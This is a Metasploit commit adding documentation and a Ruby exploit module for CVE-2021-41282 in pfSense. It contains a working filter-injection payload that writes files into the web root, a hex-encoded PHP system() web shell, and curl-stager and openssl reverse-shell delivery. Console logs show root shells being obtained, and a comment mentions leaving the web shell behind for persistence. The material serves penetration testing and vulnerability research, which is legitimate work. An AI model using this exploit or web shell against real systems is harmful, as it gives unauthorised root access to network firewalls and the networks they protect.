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Initial implementation of pfSense auth file creation bug (CVE-2021-41282)

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Jake Baines 2022-02-27 18:12:54 -08:00
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## Vulnerable Application
### Description
This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface
(CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an
authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads with root privileges.
### Installation
Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:
https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz
* Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install.
* Log into the web interface using the credentials `admin:pfsense`
* Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html).
To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an
`admin` create a new user. The add user interface is in the `System` -> `User Manager` page.
Select the `Add` user button and create the user. Once the user is created, edit the user
and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done!
## Verification Steps
* Follow the installation instructions above
* Do: `use exploit/unix/http/pfsense_diag_routes_webshell`
* Do: `set username <name>`
* Do: `set password <password>`
* Do: `set RHOST <ip>`
* Do: `check`
* Verify the remote target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `exploit`
* You should get a reverse shell
## Options
### TARGETURI
Specifies base URI. The default value is `/`.
### USERNAME
The username to log in to the pfSense web interface with. The default is `admin`.
### PASSWORD
The password to log in with. Set to `pfsense` by default.
### WEBSHELL_NAME
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
Set to `nil` by default.
### DELETE_WEBSHELL
Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a
web shell for persistence reasons. The default is `true`.
### Target 0
Target 0 is a `CMD_ARCH` reverse shell using openssl.
### Target 1
Target 1 is a `bsd/x64` reverse shell using the curl command stager.
## Scenarios
### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.
```
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /dgGNIYHKgUL.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /dgGNIYHKgUL.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/kDumgxJC
[*] Local IP: http://10.0.0.2:8080/kDumgxJC
[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (109/109 bytes)
[+] Deleted /usr/local/www/hrCcgfpdiGhC
[+] Deleted /usr/local/www/dgGNIYHKgUL.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
```
### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.
```
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /xsYZjKyayH.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /xsYZjKyayH.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (114/114 bytes)
[+] Deleted /usr/local/www/MkTcoNc
[+] Deleted /usr/local/www/xsYZjKyayH.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
```

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modules/exploits/unix/http/pfsense_diag_routes_webshell.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Diag Routes Web Shell Upload',
'Description' => %q{
This module exploits an arbitrary file creation vulnerability in the pfSense
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
and can be exploited by an authenticated user if they have the
"WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads
with root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
'jbaines-r7' # metasploit module
],
'References' => [
['CVE', '2021-41282'],
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
],
'DisclosureDate' => '2022-02-23',
'Platform' => ['unix', 'bsd'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Payload' => {
'Append' => ' & disown'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
]
@webshell_uri = '/'
@webshell_path = '/usr/local/www/'
end
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
# pfsense permissions can be so locked down that we have to try direct exploitation
# in order to determine vulnerability. A user can even be restricted from the
# dashboard (where other pfsense modules extract the version).
def check
# Grab a CSRF token so that we can log in
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
return CheckCode::Unknown('Could not find CSRF token') unless csrf
# send the log in attempt
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
return CheckCode::Detected('No response to log in attempt.') unless res
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
# save the auth cookie for later user
@auth_cookies = res.get_cookies
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
filename = Rex::Text.rand_text_alpha(4..12)
contents = Rex::Text.rand_text_alpha(16..32)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
}
})
return CheckCode::Safe('No response to upload attempt.') unless res
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
# Validate the exploit was successful by requesting the uploaded file
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
return CheckCode::Safe('No response to exploit validation check.') unless res
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
register_file_for_cleanup("#{@webshell_path}#{filename}")
CheckCode::Vulnerable()
end
# Using the path traversal, upload a php webshell to the remote target
def drop_webshell
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
print_status("Uploading webshell to #{webshell_location}")
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
'cookie' => @auth_cookies,
'encode_params' => false,
'vars_get' => {
'isAjax' => '1',
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
print_status('Testing if web shell installation was successful')
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
res = execute_via_webshell("echo #{rand_data}")
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
print_good("Web shell installed at #{webshell_location}")
# This is a great place to leave a web shell for persistence since it doesn't require auth
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
if datastore['DELETE_WEBSHELL']
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
end
end
# Executes commands via the uploaded webshell
def execute_via_webshell(cmd)
if target['Type'] == :bsd_dropper
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
# way to force the payload to background itself (and thus allow the HTTP response to
# to return). So we hack it in ourselves. This identifies the ending file cleanup
# which should be right after executing the payload.
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
'vars_get' => {
'cmd' => cmd
}
})
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
res
end
def execute_command(cmd, _opts = {})
execute_via_webshell(cmd)
end
def exploit
# create a randomish web shell name if the user doesn't specify one
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
drop_webshell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end